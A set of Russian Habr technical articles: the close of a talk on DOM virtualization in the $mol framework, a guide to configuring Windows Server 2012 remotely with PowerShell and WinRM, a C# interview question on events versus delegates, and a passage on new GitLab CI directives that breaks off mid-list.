Подведём итог, какие проблемы виртуализации нам удалось так или иначе порешать..
* Оценка будущих размеров.
* Скачки контента.
* Тормоза при скроллинге.
* Прокрутка к элементу.
* Поиск по странице.
* Доступность.
Фундаментальные особенности
---------------------------
Тем не менее у нас остался и ряд фундаментальных особенностей, с которыми придётся смириться..
* Скачки скроллбара при неточной оценке размеров.
* Scroll Anchoring может не работать в некоторых контекстах.
* Копирование выделенного текста не работает.
Бенчмарки: Скорость открытия и Отзывчивость
-------------------------------------------
Ладно, давайте погоняем бенчмарки. Понятное дело, что на огромных страницах виртуализация победит. Поэтому возьмём, что-то более типичное - [небольшую мобильную страницу Хабра со 170 комментариями](https://m.habr.com/ru/post/522578/) и откроем её на не самом слабом ноуте и жамкнем "показать 170". Таймлайн сверху показывает, что на формирование DOM через VueJS требуется три с половиной секунды, а потом ещё пол секунды требуется браузеру, чтобы всё это показать.
Снизу же вы видите таймлайн открытия [реализации этой страницы на $mol с виртуализацией](https://nin-jin.github.io/habrcomment/#article=522578). Как видно, треть секунду ушла на отображения статьи, ещё треть потребовалось браузеру, чтобы её показать, потом пришли данные комментариев и ещё за треть секунды они были обработаны: сформировано дерево компонент, вычислены минимальные размеры и тд. Но благодаря виртуализации DOM почти не поменялся, поэтому браузеру ничего не стоило это обработать.
Итого: ускорение открытия не менее чем в 4 раза даже на сравнительно небольшом объёме данных.
Бенчмарки: Отзывчивость
-----------------------
Можем погонять и какие-нибудь синтетические бенчмарки. Например, [dbmon](https://mathieuancelin.github.io/js-repaint-perfs/).
<https://mol.js.org/perf/dbmon/-/>
Пока все реализации топчутся у меня вкруг 20 фпс, наивная реализация на $mol со встроенной виртуализацией показывает стабильные 60.
Бенчмарки: Потребление памяти
-----------------------------
Нельзя забывать и про потребление оперативной памяти. Та реализация Хабра на VueJS на 170 комментариях отжирает 40 мегабайт хипа JS. Но если посмотреть понять вкладки, то это будет уже в 3 раза больше, так как самому браузеру нужно весь этот дом показывать. Если же открыть реализацию на $mol, где выводится статья, да ещё и две с половиной тысячи комментариев к ней, то мы получаем те же 40 мегабайт JS хипа. Но вкладка при этом кушает в два раза меньше, ибо браузеру показывать всего ничего - меньше тысячи DOM элементов.
| Вариант | Память JS | Память вкладки |
| --- | --- | --- |
| [VueJS: **170** комментариев](https://m.habr.com/post/522578) | 40 MB | 150 MB |
| [$mol: **статья + 2500** комментариев](https://nin-jin.github.io/habrcomment/#article=423889) | 40 MB | 90 MB |
И суть тут не в том, что $mol такой легковесный и быстрый, а в том, что в нём применена архитектурная оптимизация, дающая профита куда больше, чем обычная локальная оптимизация в бутылочном горлышке. Тут мы не ускорили формирование DOM, а сделали так, что скорость изменения DOM нас вообще перестала волновать. Ведь виртуализация позволяет рендерить на порядок больше данных, потребляя при этом в несколько раз меньше ресурсов.
Бенчмарки: Гулять так гулять!
-----------------------------
Ну и, наконец, давайте сделаем немыслимое - загрузим разом 25 приложений..
<https://showcase.hyoo.ru/>
Некоторые из них отображают весьма не маленькие объёмы данных. Начиная ото всех существующих material design иконок. Заканчивая всеми продающимися сейчас типами лампочек. На моём ноуте всё это открывается за 6 секунд. Напомню, что одна только гитлабовская страница из начала моего выступления открывалась в 3 раза дольше. Почувствуйте, как говорится, разницу между тем, что веб представляет из себя сейчас, и каким он мог бы быть, если бы мы думали не только о том, как удовлетворить свои привычки, но и о том, какие привычки полезны.
ООП против ФП
-------------
Короче, виртуализация - классная тема. И давайте посмотрим какие у нас есть перспективы, что она появится в ныне популярных инструментах. Но сперва определимся с вопросом чем объект отличается от функции..
* **Объект**: одно состояние - много действий.
* **Функция**: много состояний - одно действие.
Условный Angular использует концепцию объектов: каждый компонент - объект умеющий много разных действий. А вот в React популярна тема функциональных компонент - тут компонент имеет лишь одно действие - отрендерить своё содержимое в виртуальное дерево.
Ортогональные действия
----------------------
Однако, при виртуализации, нам необходимо, чтобы каждый компонент умел делать разные дела..
* Узнать минимальные размеры без полного рендера.
* Частично отрендерить содержимое.
* Проверить соответствие поисковому запросу.
То есть объектная парадигма подходит для этого гораздо лучше, чем функциональная.
Композиция против вёрстки
-------------------------
Также стоит упомянуть и различные подходы к композиции компонент. Первый вариант - наиболее естественный - это прямая сборка интерфейса из компонент. Тут рендерер может спросить мол "колонка, вот какие у тебя минимальные размеры?" и колонка сможет их правильно вычислить.
```
Column
Row
Search
Icon
Scroll
Column
Task
Task
Task
```
Второй подход - более популярный - это оживление готовой HTML вёрстки. Тут фактический лейаут зависит от стилей, что применены к html элементам. Как-то проанализировать это, наверно, можно, но это весьма сложно, крайне медленно и не очень надёжно. А в вебе и так хватает точек отказа.
```
```
Перспективы во фреймворках
--------------------------
Анализируя популярные инструменты, можно заметить, что React, например идёт вообще куда-то совсем не в ту сторону. Так что к нему прикрутить виртуализацию если и можно, то крайне сложно. И скорее всего не станут.
Чуть ближе к виртуализации React Native, где нет никакого сырого HTML и всё строится из компонент. Но подражание html тут как собаке пятая нога.
К Angular, Vue, Svelte прикрутить виртуализацию скорее всего будет проще, ибо там каждый компонент - это некоторый объект. Правда ориентация на вёрстку, вместо компонент, существенно осложняет внедрение виртуализации на уровне фреймворка, а не прикладного кода.
В $mol же виртуализация работает уже давно, так что он опять всех задоминировал.
| Инструмент | ООП | КОП |
| --- | --- | --- |
| React | ❌ | ❌ |
| React Native | ❌ | ✅ |
| Vue | ✅ | ❌ |
| Angular | ✅ | ❌ |
| Svelte | ✅ | ❌ |
| $mol | ✅ | ✅ |
Выбери виртуализацию
--------------------
Но я не предлагаю вам использовать $mol. Потому что, ну знаете, "использовать" - это какое-то потребительское отношение. Я вам предлагаю присоединиться к его разработке и тем самым получить максимальный профит.
Ну либо вы можете разработать свой какой-то инструмент, основанный на виртуализации. В любом случае, какой бы вариант вы ни выбрали, [обращайтесь к нам](https://t.me/mam_mol), мы поможем чем сможем.
Ссылочки
--------
* [nin-jin/slides/virt](https://github.com/nin-jin/slides/tree/master/virt) - эти слайды.
* [nin-jin/slides](https://github.com/nin-jin/slides) - другие мои выступления.
* [habhub.hyoo.ru](https://habhub.hyoo.ru/) - мои статьи.
* `_jin_nin_` - моё ворчание.
* [nin-jin/my\_gitlab](http://nin-jin.github.io/my_gitlab) - ченьжлог на $mol.
* [nin-jin/habrcomment](http://nin-jin.github.io/habrcomment) - хабрастатья на $mol.
* [mol\_news](https://t.me/mol_news) - $mol новости.
Обратная связь
--------------
### Превосходно: 34%
* Вроде все знакомо, но нашёл для себя пару интересных нюансов.
* Узнал кое что новое.
* Все ок.
* По моему мощнейший доклад, очень круто и интересно. Один момент. У Дмитрия сквозь доклад использовалась шутка: недостатки преподносились как преимущества (в духе контент прыгает - пользователь тренируется концентрировать внимание). Она удачная и смешная (правда так считаю, не из вежливости это пишу), но ее было слишком много. Например, был слайд, где было сразу много "преимуществ", и Дмитрий проговаривал по шутке на каждый пункт. Ломало темп. Сначала весело, а потом уже как-то хочется чтобы доклад дальше двигался. Но это минорное замечание, доклад ?
* Изначально я слышал про $mol из комментариев на Хабре, многие из которых были неуместны / подавались в странной манере. В докладе я увидел, что автор - "видел некоторое дерьмо" (простите за мем) - понимает причины - предлагает здравые рассуждения по тому, как это чинить. Совершенно точно посмотрю на эту библиотеку, чтобы увидеть воплощение принципов из доклада на практике. Но даже если не буду использовать эту библиотеку в проде, разочарован не буду - настолько ценной и качественной я считаю информацию в этом докладе.
* Подача, глубина доклада, практическая применимость, простота восприятия, новизна.
* На удивление было мало $mol и много полезных вещей)
### Хорошо: 42%
* Интересный доклад, но к сожалению не все было понятно, начиналось вроде все просто, но потом быстро вышло за моё понимание).
* Карловский как всегда жжёт.
* Очень круто и глубоко, но не очень понравилась подача. Хочется побольше "огонька".
### Нормально: 18%
* Слишком узкая специализация
* Что смотрел помню, а про что нет.
* Доклад на мой взгляд получился последовательным, но не очень сбалансированным с точки зрения теории и практики. Тема доклада очень общая, а по итогу практическую пользу можно получить судя по всему, если использовать конкретный фреймворк. Из плюсов - понравился разбор проблемы на примере GitLab.
### Плохо: 6%
* Интересный материал, интересная тема, большой потенциал технологии. Не понравился спикер и его отношения к другим технологиям, людям.
* Оценка поставлена из-за несоответствия моих ожиданий и реальности =) Ожидания: я смогу применить полученные знания на своём проекте. Реальность: демонстрация своего фреймворка. Для проектов на любом другом фреймворке полученная информация неприменима. Если бы это было понятно из названия и описания, я бы не тратила время и пошла на другой доклад.
### Хабр такой Хабр
 | https://habr.com/ru/post/537388/ | null | ru | null |
# Windows Server 2012 — жизнь без GUI
Windows Server 2012 позиционируется как система, которой GUI для полноценной работы не нужен. При установке по умолчанию выбран пункт Server Core, добавлена возможность удаления графического интерфейса без переустановки сервера, список ролей, не нуждающихся в GUI в сравнении с 2008 R2 расширен. В своих книгах Microsoft утверждает, что работа с командной строкой естественна и вспоминает начало 90-х годов прошлого века, когда системные администраторы жаловались на бесполезную трату ресурсов графической оболочкой. В дополнение к этому Microsoft предлагает «новый» путь администрирования своих серверных операционных систем, в котором предполагается, что серверную консоль вы будете видеть только один раз – при установке операционной системы, а вся работа и настройка системы будет осуществляться удаленно: через «Диспетчер серверов», MMC-оснастки и PowerShell, который в 2012 сервере уже версии 3.0
Допустим, что первоначальная настройка сервера после установки включает в себя:
* Настройку сетевых интерфейсов
* Установку часового пояса
* Включение удаленного рабочего стола
* Переименование компьютера
* Присоединение к домену
Вопрос в следующем: а можно ли эти задачи выполнить удаленно средствами PowerShell? Ну вот, допустим, есть удаленный сервер где-нибудь в тайге, на который местный умелец поставил 2012 сервер, пошел отметить это дело и потерял ключ от шкафа. Шкаф бронебойный, водо-, звуконепроницаемый и вообще предполагает защиту от несанкционированного доступа медведей. А настроить надо. Допустим, есть VPN или какой-нибудь «прямой провод» (очень часто вижу эту услугу в прайсах провайдеров) и сервер доступен по сети. И только по сети.
В исходных данных письмо от местного умельца:
*Привет, поставил венду на сервер. IP – 169.254.23.43. Логин – Администратор. Пароль – qwe123!@#. Пока.*
#### Готовимся
Удаленный сервер в рабочей группе, в свежеустановленном состоянии, RPC не понимает (порты на брандмауэре закрыты), не пингуется, с непроизносимым именем и московским часовым поясом в Сибири. Если бы это был 2008 R2 на этом бы наши приключения и закончились, так как все средства удаленного управления в нем по умолчанию отключены. В 2012 есть способ удаленно управлять из коробки – включенный по умолчанию WinRM, реализация стандарта WS-MAN от Microsoft. С одной стороны вроде дыра в безопасности, с другой – в нормально спроектированной сети, в которой сервера находятся в отдельном VLAN, доступ к которому ограничен для доверенных пользователей, вероятность использования этой дыры незначительна. Но все-таки есть.
Для управления удаленным сервером в рабочей группе с помощью WinRM, мы должны доверять удаленному серверу. Тут мне логика немного непонятна. По идее, удаленный сервер должен доверять нам, мы же им управляем, а не он нами. Возможно, это от неполного понимания принципов работы WS-MAN. Но в любом случае, сказать WinRM, что мы доверяем удаленному серверу нужно. Это реализовано занесением имени или IP-адреса удаленного сервера в список «доверенных хостов» (TrustedHosts)
```
si WSMan:\localhost\Client\TrustedHosts 169.254.23.43
```
Теперь как-то нужно выполнить первоначальную настройку удаленного сервера. Я знаю 2 командлета, которые могут помочь с этой задачей: [Enter-Pssession](http://technet.microsoft.com/en-us/library/hh849707.aspx) и [Invoke-Command](http://technet.microsoft.com/en-us/library/hh849719.aspx). Оба используют WinRM. Enter-Pssession дает нам консоль удаленного сервера, Invoke-Command отправляет блок команд на удаленный сервер и возвращает результат их выполнения. Ниже используется Invoke-Command (мы же собрались вообще не видеть удаленную консоль).
Действия будем выполнять по следующему принципу:
1. PowerShell
2. Если не получается выполнить задачу через PowerShell, подключаем cmd
3. Если не в PowerShell, не в cmd нет подходящих инструментов – WMI через PowerShell
4. Ну и как последний вариант – ковыряние реестра также через PowerShell
#### Настройка сетевых интерфейсов
Делать нечего, меняем свой адрес на что-нибудь из APIPA-диапазона, ну например 169.254.0.1 и садимся думать, как удаленно изменить IP-адрес у таёжного сервера. Думать тут нечего:
1. Определить на каком адаптере производить изменения
2. Отключить DHCP
3. Назначить статический адрес для сервера с маской подсети и шлюзом по умолчанию.
4. Hазначить DNS-серверы
И все это желательно не отцепляясь от сервера.
В PowerShell 3.0 появилась целая группа [Network Adapter Cmdlets](http://technet.microsoft.com/en-us/library/jj134956(v=wps.620).aspx), которая позволяет нам делать с сетевыми адаптерами все что угодно.
Получаем объект сетевого адаптера и сохраняем его в переменной $adapter. Ethernet – это новое имя для «Подключение по локальной сети». Это изменение, несмотря на кажущуюся незначительность, очень радует.
```
$adapter = Get-NetAdapter Ethernet
```
Отключаем DHCP
```
$adapter | Set-NetAdapter –Dhcp disabled
```
Меняем IP-адрес на нормальный с необходимой маской и шлюзом. Для этого существует другая группа [Net TCP/IP Cmdlets](http://technet.microsoft.com/en-us/library/hh826123(v=wps.620).aspx)
```
$adapter | New-NetIPAddress 192.168.0.5 –PrefixLength 24 –DefaultGateway 192.168.0.1
```
Добавляем DNS-серверы. Третья группа [DNS Client Cmdlets](http://technet.microsoft.com/en-us/library/jj590772(v=wps.620).aspx)
```
Set-DnsClientServerAddress Ethernet –addresses (“192.168.0.2”,”192.168.0.3”)
```
Как все это выполнить на удаленном сервере? Сделать скрипт и с помощью Invoke-Command запустить его на выполнение.
Сохраним этот набор команд где-нибудь с именем скрипта, например, remotechangeip.
**Тут есть один момент. Называется политика выполнения скриптов.**По умолчанию в PowerShell разрешается работа только в интерактивном режиме, выполнение любых скриптов запрещено (restricted). Для выполнения скриптов нам нужно либо remotesigned (цифровая подпись требуется для скриптов, загруженных из интернета), либо unrestricted (при выполнении неподписанного скрипта, загруженного из интернета будет выдаваться предупреждение о ненадежности источника). Если на безопасность совсем положить, можно поставить bypass (будет выполняться все без лишних вопросов). Eсли у вас есть собственный сертификат, выданный доверенным издателем, и вы не ленитесь подписывать с его помощью свои скрипты – вам нужен allsigned (в таком случае, вы наверное и сами это знаете). У меня сертификата нет, поэтому политику я устанавливаю remotesigned.
```
Set-ExecutionPolicy remotesigned
```
Политика выполнения скриптов устанавливается на локальном компьютере, на удаленном такой необходимости нет, потому что Invoke-Command перед выполнением скрипта на удаленном компьютере преобразовывает файл скрипта в просто набор команд. Соответственно, на удаленном компьютере выполняется не скрипт (файл с расширением .ps1), а набор команд, которым политика выполнения скриптов по барабану.
Отправляем наш скрипт на удаленный сервер.
```
Invoke-Command 169.254.23.43 C:\scripts\remotechangeip.ps1 –Credential Администратор
```
Пароль от учетной записи Администратор у нас есть в письме. После выполнения получаем сервер со статическим адресом 192.168.0.5 с маской подсети /24, шлюзом по умолчанию 192.168.0.1 и DNS-серверами 192.168.0.2 и 192.168.0.3
Еще нужно не забыть изменить IP в TrustedHosts, иначе на этом наше удаленное администрирование закончится.
```
$newvalue = ((ls WSMan:\localhost\Client\TrustedHosts).value).replace("169.254.23.43","192.168.0.5")
si WSMan:\localhost\Client\TrustedHosts $newvalue
```
#### Изменение часового пояса
Я очень долго пытался решить эту задачу с помощью PowerShell. Я нашел [функцию, меняющую часовой пояс локально.](http://gallery.technet.microsoft.com/scriptcenter/Set-TimeZone-function-b5ed93b5) Но если мы попытаемся выполнить эту функцию через Invoke-Command, получим граблями по лбу в виде «Имя Set-Timezone не распознано как имя командлета, функции, файла сценария или выполняемой программы».
Invoke-Command при выполнении естественно не копирует с локальной машины, а выполняет имеющиеся на удаленном сервере командлеты. Это понятно и логично. Задача была ясна — перед выполнением Invoke-Command нужно сбросить функцию на удаленный сервер. Но… тут мне стало лень.
Если заглянуть в код функции, то становится понятно, что она всего лишь проверяет версию ОС и в зависимости от нее выполняет либо timedate.cpl (XP и ниже), либо tzutil (Vista и выше). Проверять версию ОС незачем, мы ее знаем. Поэтому просто изменим часовой пояс с помощью tzutil
```
Invoke-Command 192.168.0.5 {tzutil /s “North Asia Standard Time”} –Credential Администратор
```
**WMI**Можно попробовать установить часовой пояс, используя WMI. Выглядеть это будет так:
```
$strComputer = "."
$objWMI = gwmi win32_computersystem" -computername $strComputer
$objWMI.CurrentTimeZone = 207
$objWMI.Put()
```
Что здесь происходит? Точка (.) говорит, что мы работаем с локальным компьютером. Обращаемся на локальном компьютере к классу [win32\_computersystem](http://msdn.microsoft.com/en-us/library/windows/desktop/aa394102(v=vs.85).aspx). Присваиваем свойству CurrentTimeZone значение 207, соответствующее “North Asia Standard Time”. И методом Put сохраняем изменение часового пояса.
Также сохранить и передать скрипт на удаленный компьютер с помощью Invoke-Command. По-моему, использовать tzutil проще.
Значения часовых поясов можно взять [отсюда](http://msdn.microsoft.com/en-us/library/ms912391(v=winembedded.11).aspx) или из вывода tzutil /l
Ну и без PowerShell все-таки не обошлось.
#### Включение удаленного рабочего стола
В PowerShell 3.0 появилось множество командлетов, для работы с RDS. Их группа так и называется [Remote Desktop Cmdlets.](http://technet.microsoft.com/library/jj215451.aspx) Но, как я понял, они рассчитаны на работу с RDS-сервером, просто включить удаленный рабочий стол для администратора с их помощью нельзя.
Остается два способа включения рабочего стола. Через WMI-вызовы и ~~неправильный~~ через модификацию реестра. Модификация реестра мне никогда не нравилась. Одно неловкое движение пальца и никто не гарантирует, что сервер поднимется после перезагрузки.
Что касается включения удаленного рабочего стола, то [модификация ключа HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections](http://technet.microsoft.com/ru-ru/library/cc722151(v=ws.10).aspx), которому нужно присвоить значение 0, чтобы разрешить удаленный рабочий стол: ~~во-первых, требует перезагрузки, во-вторых~~, не добавляет исключение для удаленного рабочего стола в правила брандмауэра.
Поэтому я буду использовать WMI-класс [win32\_terminalservicesetting](http://msdn.microsoft.com/en-us/library/windows/desktop/aa383640(v=vs.85).aspx) и его метод [setallowtsconnections](http://msdn.microsoft.com/en-us/library/windows/desktop/aa383644(v=vs.85).aspx), что позволит обойтись без перезагрузки и добавить правила исключения в брандмауэре одной командой.
```
Invoke-Command 192.168.0.5 {(gwmi win32_terminalservicesetting -namespace root\cimv2\terminalservices).setallowtsconnections(1,1)} –Credential Администратор
```
Теперь у нас есть доступ к таёжному серверу по RDP! Можно радоваться? Представим, что единственный канал связи с внешним миром у удаленного сервера через спутник с грабительскими тарифами, диалапной скоростью, зашкаливающим пингом и продолжим настраивать сервер удаленно через PowerShell.
#### Переименование сервера и присоединение его к домену
Тем более, что осталось совсем немного.
По идее, командлет [Add-Computer](http://technet.microsoft.com/en-us/library/hh849798.aspx) позволяет переименовать компьютер при присоединении его к домену. Но на практике, я сталкивался с тем, что при присоединении к домену и одновременным переименованием с помощью этой команды, компьютер входит в домен под своим старым именем. И понеслась – вывести компьютер из домена, перезагрузиться, удалить учетку в AD, запустить репликацию если контроллеров несколько, подождать, переименовать компьютер, перезагрузиться, ввести в домен, перезагрузиться.
Поэтому я предпочитаю операции переименования компьютера и ввода в домен выполнять отдельно.
Переименование
```
Invoke-Command 192.168.0.5 {rename-computer taiga -restart} -credential Администратор
```
Как только нам вернули управление, значит удаленный сервер перезагружается. Проверить результат команды (и готовность сервера) можно так:
```
Invoke-Command 192.168.0.5 {$env:computername} -credential Администратор
```
И наконец-то ввод в домен
```
Invoke-Сommand 192.168.0.5 {add-computer contoso.com -credential contoso.com\domainadmin -restart} -credential Администратор
```
#### Заканчиваем
Все поставленные в начале задачи выполнены. Теперь уже можно думать, как дальше жить и где искать этот чертов ключ от шкафа.
И напоследок небольшая шпаргалка по CMD и PowerShell.
| | | |
| --- | --- | --- |
| | CMD | PowerShell |
| Изменить сетевые настройки |
```
netsh interface ip set address name = “Ethernet” static 192.168.0.5 255.255.255.0 192.168.0.1 1
netsh interface ip set dns name = “Ethernet” static 192.168.0.2
netsh interface ip add dns name = “Ethernet” static 192.168.0.3
```
|
```
$adapter = Get-NetAdapter Ethernet
$adapter | Set-NetAdapter –Dhcp disabled
$adapter | New-NetIPAddress 192.168.0.5 –PrefixLength 24 –DefaultGateway 192.168.0.1
Set-DnsClientServerAddress Ethernet –addresses (“192.168.0.2”,”192.168.0.3”)
```
|
| Изменить часовой пояс |
```
tzutil /s “North Asia Standard Time”
```
|
```
$strComputer = "."
$objWMI = gwmi win32_computersystem" -computername $strComputer
$objWMI.CurrentTimeZone = 207
$objWMI.Put()
```
|
| Включить удаленный рабочий стол |
```
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
```
|
```
(gwmi win32_terminalservicesetting -namespace root\cimv2\terminalservices).setallowtsconnections(1,1)
```
|
| Переименовать сервер |
```
netdom renamecomputer %computername% /newname:taiga /reboot
```
|
```
rename-computer taiga –restart
```
|
| Присоединить к домену |
```
netdom join taiga /d:contoso.com /ud:contoso.com\domainadmin /pd:* /reboot
```
|
```
add-computer contoso.com -credential contoso.com\domainadmin -restart
```
|
Объединяет их одно: им всем для удаленной работы нужен RPC, по умолчанию закрытый брандмауэром. Поэтому единственным способом доставить их на удаленный компьютер, является WinRM.
А Enter-Pssession у меня не заработал :)
Использован материал из:
[MSDN](http://msdn.microsoft.com/ru-ru/ms348103.aspx)
[Technet](http://technet.microsoft.com/) | https://habr.com/ru/post/183012/ | null | ru | null |
# Коварный вопрос по Event \ Delegate
На собеседованиях собеседователи любят задавать всякие каверзные вопросы. Одним из любимых вопросов на понимание .net платформы является вопрос про события и делегаты. В лучшем случае спрашивают отличия, в худшем могут задать такой вопрос на засыпку.
Дан код:
> `public class A
>
> {
>
> public void OnDoWork()
>
> {
>
> if ( DoWork != null )
>
> DoWork(this, EventArgs.Empty);
>
> }
>
>
>
> public event EventHandler DoWork;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
1. Что будет с программой, если класс A видоизменить так: убрать ключевое слово `event`?
2. Что будет с программой, если вообще во всем коде убрать ключевые слова `event`?
Неподготовленных вопросы вводят в жуткий когнитивный диссонанс, как только они их осознают. Здесь главное удержаться от негодующего вопля и вспомнить синтаксические отличия применимости событий от делегатов:
0. Событие — это тот же самый делегат, который наделяется некоторыми свойствами через слово `event`.
1. И событие и делегат можно объявить полем класса, но в отличие от делегата, событие не может быть локальной переменной метода (особо не роляет, но помнить стоит)
2. Событие нельзя запустить вне класса, в котором оно было объявлено (это самое важное отличие!!!)
3. Интерфейс не может содержать поля.
4. Событие всегда объявляется как «поле», а не свойство (`add-remove` не в счет).
Это, пожалуй, единственные отличия события от делегата (я не берусь рассматривать семантическую разницу). Ну, или я что-то забыл, но вы мне сейчас напомните:)
Итак, если у нас есть интерфейс, в котором объявлено событие, и мы убираем ключевое слово `event`, то у нас возникает ошибка компилятора — дескать, интерфейс не может содержать поля (а именно полем-делегатом стало бывшее событие). Но если событие объявлено как поле класса, то с точки зрения компилятора будет совершенно корректно убрать ключевое слово.
Поэтому ответы на вопросы будут такие:
1. Ничего не изменится
2. Ничего не изменится, если только в программе нет объявленных в интерфейсах событий.
Да, и еще вот что удивительно — при ответе на вопрос некоторые начинают рассуждать, что событие — это `MulticastDelegate`, а вот `Delegate` может содержать ссылку только на один метод. В общем, это совершенно жуткая ересь, но тем не менее несколько разных людей мне таким образом пытались дать ответ на эти два вопроса. Откуда пошел этот миф, неизвестно. Если есть желание посмотреть, в чем же отличие MulticastDelegate от Delegate — можно сбегать поглядеть [статью](http://blogs.msdn.com/brada/archive/2004/02/05/68415.aspx) мегаавторитета Брэда Абрамса — и убедиться, что различий между этим классами, кроме названия, нет.
П.С. Да, я знаю, что `OnDoWork()` не thread safe:) | https://habr.com/ru/post/65697/ | null | ru | null |
# GitLab CI: 6 фич из последних релизов, которых мы так ждали
В эпоху повсеместного CI/CD мы сталкиваемся с большим спектром сопутствующих инструментов, в том числе и CI-систем. Однако именно GitLab стал для нас самым близким, по-настоящему «родным». Заметную популярность он снискал и в индустрии в целом\*. Разработчики продукта не отставали от роста интереса к его использованию, регулярно радуя сообщество разработчиков и DevOps-инженеров новыми версиями.
*Агрегация по месяцам и тегам репозитория GitLab*
GitLab — тот случай, когда активное развитие приносит множество новых и интересных возможностей. Если для потенциальных пользователей это просто один из факторов выбора инструмента, то для действующих — ситуация такова: если вы не обновляли свою инсталляцию GitLab последний месяц, то с большой вероятностью пропустили что-то интересное. В том числе и регулярно выходящие security updates.
О наиболее значимых — т.е. востребованных нашими DevOps-инженерами и клиентами — нововведениях в последних релизах Community-редакции GitLab и пойдет речь в статье.
*\* Ещё лет 5 назад многие, услышав «GitLab», могли бы переспросить: «Наверное, речь про GitHub?». Сегодня же ситуация иная — например, анализ Google Trends [указывает](https://trends.google.ru/trends/explore?date=all&q=gitlab) на 5-кратный рост популярности запроса «gitlab» за этот период. Не миновали проект и «чёрные» маркетинговые истории, случившиеся [совсем](https://about.gitlab.com/blog/2019/10/10/update-free-software-and-telemetry/) [недавно](https://habr.com/ru/company/flant/blog/474436/). Однако эта статья про технику, а не политику, поэтому останавливаться на таких «фичах» подробнее не будем.*
№1: needs
---------
* Явное указание зависимостей для job'а.
* Появилось с версии GitLab: 12.2.
* [Документация](https://docs.gitlab.com/ce/ci/yaml/#needs).
Думали, [`dependencies`](https://docs.gitlab.com/ee/ci/yaml/#dependencies) — это то, что вам надо? Вероятно, не мы одни ошибались в назначении этой директивы… Она нужна для перечисления списка предыдущих job'ов, *артефакты* из которых потребуются. Именно артефакты, а не зависимость от выполнения предыдущего задания.
Допустим, так случилось, что в одной стадии есть job’ы, которые не обязательно выполнять, но выносить их в отдельную стадию по каким-то причинам нет возможности или просто желания (лень — двигатель прогресса, но не увлекайтесь).
Ситуация:
Как видно, stage *Deploy* содержит кнопки для выката и на production, и на stage, а job *Selenium tests* почему-то не выполняется. Всё просто: он ждёт, пока успешно завершатся все job’ы из предыдущей стадии. Однако в рамках этого же пайплайна нам не нужно деплоить stage сейчас, чтобы запустить тесты (он выкачен ранее не в рамках тега). Что же делать? Тут и приходить на помощь **needs**!
Мы перечисляем только необходимые предыдущие job’ы для запуска наших тестов:
```
needs:
- To production (Cluster 1)
- To production (Cluster 2)
```
… и получаем job, что автоматически вызывается после выполнения только перечисленных job'ов:
Удобно, правда? А ведь когда-то я ожидал, что примерно так и будет работать директива `dependencies`…
№2: extends
-----------
* Расширение возможностей YAML anchors и aliases.
* Появилось с версии GitLab 11.3.
* [docs.gitlab.com/ce/ci/yaml/#extends](https://docs.gitlab.com/ce/ci/yaml/#extends)
Надоело читать рулоны `.gitlab-ci.yaml`? Скучаете по принципу code reuse? Тогда вы уже попытались и наверняка успешно довели свой `.gitlab-ci.yaml` до состояния вроде такого:
```
.base_deploy: &base_deploy
stage: deploy
script:
- my_deploy_command.sh
variables:
CLUSTER: "default-cluster"
MY_VAR: "10"
Deploy Test:
<<: *base_deploy
environment:
url: test.example.com
name: test
Deploy Production:
<<: *base_deploy
environment:
url: production.example.com
name: production
variables:
CLUSTER: "prod-cluster"
MY_VAR: "10"
```
Вроде бы здорово? Однако, если присмотреться внимательнее, в глаза что-то бросается… Зачем мы в production изменили не только `variables.CLUSTER`, но и второй раз прописали `variables.MY_VAR=10`? Эта переменная ведь должна взяться из `base_deploy`? Оказывается, не должна: YAML работает так, что, переопределяя полученное из anchor’а, *не расширяет* содержимое совпадающих полей, а *заменяет*. Поэтому мы вынуждены в совпадающем пункте перечислить уже известные нам переменные.
Да, «расширяет» — подходящее слово: именно так и называется рассматриваемая фича. `Extends` позволяют нам не просто перезаписать поле, как это происходит с anchor, а провести умное слияние для него:
```
.base_deploy:
stage: deploy
script:
- my_deploy_command.sh
variables:
CLUSTER: "default-cluster"
MY_VAR: "10"
Deploy Production:
extends: .base_deploy
environment:
url: production.example.com
name: production
variables:
CLUSTER: "prod-cluster"
```
Здесь в итоговой job *Deploy Production* будут и переменная `MY_VAR` со значением по умолчанию, и переопределённая `CLUSTER`.
Кажется, что это такая мелочь, но представьте: у вас один `base_deploy` и 20 контуров, деплоящихся аналогично. Им нужно передать другие `cluster`, `environment.name`, при этом сохранив какой-то набор переменных или других совпадающих полей… Нам эта маленькая приятность позволила сократить описание деплоя множества dev-контуров в 2-3 раза.
№3: include
-----------
* Делим огромный YAML на несколько и повторно используем в других проектах.
* Появилось в Core с версии 11.4.
* [docs.gitlab.com/ce/ci/yaml/#include](https://docs.gitlab.com/ce/ci/yaml/#include)
`.gitlab-ci.yaml` всё ещё выглядит ~~как складная инструкция к пылесосу на 20 языках (из которых вам понятен только родной)~~ сложно, когда требуется разобраться с одной его секцией, не меняясь в лице от неведомых job'ов, встречающихся на пути?
Поможет давно знакомый по программированию `include`:
```
stages:
- test
- build
- deploy
variables:
VAR_FOR_ALL: 42
include:
- local: .gitlab/ci/test.yml
- local: .gitlab/ci/build.yml
- local: .gitlab/ci/deploy-base.yml
- local: .gitlab/ci/deploy-production.yml
```
Т.е. теперь смело занимаемся правками деплоя в production, пока тестировщики заняты модификацией своего файла, на который мы можем даже не смотреть. Вдобавок, это помогает избегать merge conflict'ов: ведь разбираться в чужом коде не всегда в радость.
А что, если мы знаем пайплайн своих 20 проектов вдоль и поперёк, можем объяснить логику каждой job из него? Чем нам это поможет? Для достигших просветления в code reuse и для всех, у кого много однотипных проектов, можно:
* с помощью [include:file](https://docs.gitlab.com/ce/ci/yaml/#includefile) — подключать файлы GitLab CI из другого репозитория того же инстанса GitLab,
* с [include:template](https://docs.gitlab.com/ce/ci/yaml/#includetemplate) — коллекции [готовых шаблонов GitLab](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates),
* с [include:remote](https://docs.gitlab.com/ce/ci/yaml/#includeremote) — внешнего файла (доступного по HTTPS).
Десяток однотипных проектов с разным кодом, но деплоящихся одинаково — легко и без поддержания в актуальном виде CI во всех репозиториях!
*Пример практического использования `include` мы приводили также в [этой статье](https://habr.com/ru/company/flant/blog/469541/).*
№4: only/except refs
--------------------
* Комплексные условия, включая переменные и изменения файлов.
